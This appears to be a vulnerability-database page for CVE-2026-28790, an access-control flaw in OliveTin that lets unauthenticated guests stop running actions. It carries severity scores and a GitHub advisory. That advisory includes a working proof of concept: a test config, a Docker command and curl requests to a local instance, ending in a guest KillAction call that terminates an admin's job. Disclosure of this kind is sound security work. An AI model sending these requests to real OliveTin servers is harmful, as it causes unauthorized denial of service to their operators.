CVE-2026-28790

highpriority · track · 0OT risk · elevatedEPSS 0.007 · 52 %ileEUUS
grimoire priorityP2 · Scheduled
Exploitable?
—
no known exploitation
Likely / severe?
0.68% (52nd) EPSS
CVSS 7.5 · high
Is it mine?
3 products
Check your exposure
Who says so?
4 sources
cnnvd · enisa_euvd · osv · nvd

EPSS · scored 2026-10-28

OliveTin gives access to predefined shell commands from a web interface. Prior to version 3000.11.0, OliveTin allows an unauthenticated guest to terminate running actions through KillAction even when authRequireGuestsToLogin: true is enabled. Guests are correctly blocked from dashboard access, but can still call the KillAction RPC directly and successfully stop a running action. This is a broken access control issue that causes unauthorized denial of service against legitimate action executions. This issue has been patched in version 3000.11.0.

01

cvss

Technical severity, 0–10. One row per scoring source.

7.5
010

base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · medium–high · 6.9–7.5

v3.17.5highCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:Hsecondary · ENISA EU
v3.17.5highCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:Hsecondary · security-advisories@github.comexploitability 3.9 · impact 3.6
v3.17.5highCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:Hsecondary · OSV
v3.16.9mediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:Usecondary · CVSS-BT (t0sche)
02

ssvc

A stakeholder decision — act, attend, or track — from exploitation and impact.

Exploitation: poc · Automatable: yes · Technical Impact: partialcoordinatorcisa_ssvcUS
03

weaknesses

The CWE weakness classes this flaw belongs to.

04

affected products (3)

Products and version ranges known to be affected.

05

advisories (2)

Vendor and ecosystem advisories describing this.

  • GHSA-4fqm-6fmh-82mqOliveTin has Unauthenticated Action Termination via KillAction When Guests Must Login2026-03-02ghsa · osvUS

    ### Summary OliveTin allows an unauthenticated guest to terminate running actions through KillAction even when authRequireGuestsToLogin: true is enabled. In the tested release (3000.10.2), guests are correctly blocked from dashboard access, but an still call the KillAction RPC directly and successfully stop a running action. This is a broken access control issue that causes unauthorized denial of service against legitimate action executions. ### Details The issue is caused by inconsistent authorization enforcement between dashboard access and action-control RPCs. KillAction() authenticates the caller and applies only the per-action kill ACL check: - service/internal/api/api.go:62 However, it does not enforce the guest login requirement. The guest/login gate exists separately in: - service/internal/api/api.go:474 That gate is used by dashboard-style methods, but not by KillAction. In addition, when authRequireGuestsToLogin is enabled, config sanitization disables guest view, exec, and logs permissions, but leaves kill unchanged: - service/internal/config/sanitize.go:160 Specifically: - DefaultPermissions.View = false - DefaultPermissions.Exec = false - DefaultPermissions.Logs = false - DefaultPermissions.Kill remains unchanged As a result, in the default configuration path where Kill remains allowed, an unauthenticated guest user can still satisfy IsAllowedKill(): - service/internal/acl/acl.go:133 I validated this behavior on a clean 3000.10.2 setup: - guests were denied access to GetDashboard - an authenticated admin user started a long-running action - an unauthenticated guest successfully called KillAction - the action was terminated This confirms a real authorization bypass affecting action termination. ### PoC Tested version: ``` 3000.10.2 ``` 1. Create a minimal config: ```bash mkdir -p /tmp/olivetin-kill-bypass cat > /tmp/olivetin-kill-bypass/config.yaml <<'YAML' listenAddressSingleHTTPFrontend: 0.0.0.0:1337 logLevel: "DEBUG" checkForUpdates: false authRequireGuestsToLogin: true authLocalUsers: enabled: true users: - username: "admin" usergroup: "admin" password: "$argon2id$v=19$m=65536,t=4,p=2$JLk85PhCL7RPboAlsYO4Lw$bQj6uhKnBpisbGRhe271cEt59S9EqYrHKeCfykypbZ4" accessControlLists: - name: adminall addToEveryAction: true matchUsernames: ["admin"] permissions: view: true exec: true logs: true kill: true actions: - title: long-running id: long-running shell: sleep 20 timeout: 30 YAML ``` 2. Start OliveTin 3000.10.2: ```bash docker rm -f olivetin-kill-bypass 2>/dev/null || true docker run -d --name olivetin-kill-bypass \ -p 1347:1337 \ -v /tmp/olivetin-kill-bypass:/config:ro \ ghcr.io/olivetin/olivetin:3000.10.2 ``` 3. Confirm the server is ready: ```bash curl -i http://127.0.0.1:1347/readyz ``` 4. Prove guests are blocked from dashboard access: ```bash curl -i -X POST http://127.0.0.1:1347/api/GetDashboard \ -H 'Content-Type: application/json' \ --data '{"title":"default"}' Observed response: HTTP/1.1 403 Forbidden {"code":"permission_denied","message":"guests are not allowed to access the dashboard"} ``` 5. Log in as admin: ```bash curl -c /tmp/ot_admin_cookie.txt -i -X POST http://127.0.0.1:1347/api/LocalUserLogin \ -H 'Content-Type: application/json' \ --data '{"username":"admin","password":"SecretPass123!"}' ``` 6. Start a long-running action as admin: ```bash curl -i -b /tmp/ot_admin_cookie.txt -X POST http://127.0.0.1:1347/api/StartAction \ -H 'Content-Type: application/json' \ --data '{"bindingId":"long-running","arguments":[],"uniqueTrackingId":"kill-hunt-1"}' Observed response: HTTP/1.1 200 OK {"executionTrackingId":"kill-hunt-1"} ``` 7. Kill it as an unauthenticated guest: ```bash curl -i -X POST http://127.0.0.1:1347/api/KillAction \ -H 'Content-Type: application/json' \ --data '{"executionTrackingId":"kill-hunt-1"}' ``` Observed response: ```bash HTTP/1.1 200 OK {"executionTrackingId":"kill-hunt-1","killed":true,"alreadyCompleted":false,"found":true} ``` 8. Confirm in container logs: ```bash docker logs olivetin-kill-bypass 2>&1 | tail -n 120 ``` Observed relevant lines: ```bash Authenticated API request ... path="/olivetin.api.v1.OliveTinApiService/GetDashboard" ... username="guest" Authenticated API request ... path="/olivetin.api.v1.OliveTinApiService/StartAction" ... username="admin" Action started actionTitle="long-running" Authenticated API request ... path="/olivetin.api.v1.OliveTinApiService/KillAction" ... username="guest" Killing execution request by tracking ID: kill-hunt-1 Action finished actionTitle="long-running" exit="-1" ``` This proves: - guests are denied dashboard access - guests can still invoke KillAction - the running action is successfully terminated by an unauthenticated user ### Impact This is an unauthenticated broken access control vulnerability resulting in denial of service. An unauthenticated guest can: - terminate active jobs started by legitimate users - disrupt long-running administrative or operational workflows - interfere with privileged actions without being allowed to log in Who is impacted: - OliveTin deployments with authRequireGuestsToLogin: true - multi-user environments where actions may run for meaningful durations - operational environments where stopping a running action can interrupt maintenance, deployment, backup, or service-control tasks This issue does not require valid credentials, only knowledge of a live executionTrackingId. That still makes it a real and exploitable availability issue in environments where execution identifiers can be observed or predicted through adjacent leaks or shared operator knowledge.

  • GO-2026-4587OliveTin has Unauthenticated Action Termination via KillAction When Guests Must Login in github.com/OliveTin/OliveTin2026-03-10vendor · osvUS

    OliveTin has Unauthenticated Action Termination via KillAction When Guests Must Login in github.com/OliveTin/OliveTin

06

also known as (5)

Other names and identifiers for this entity.

07

sources

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published 2026-03-05modified 2026-06-17
09

references (9)

External citations — patches, advisories, analysis.

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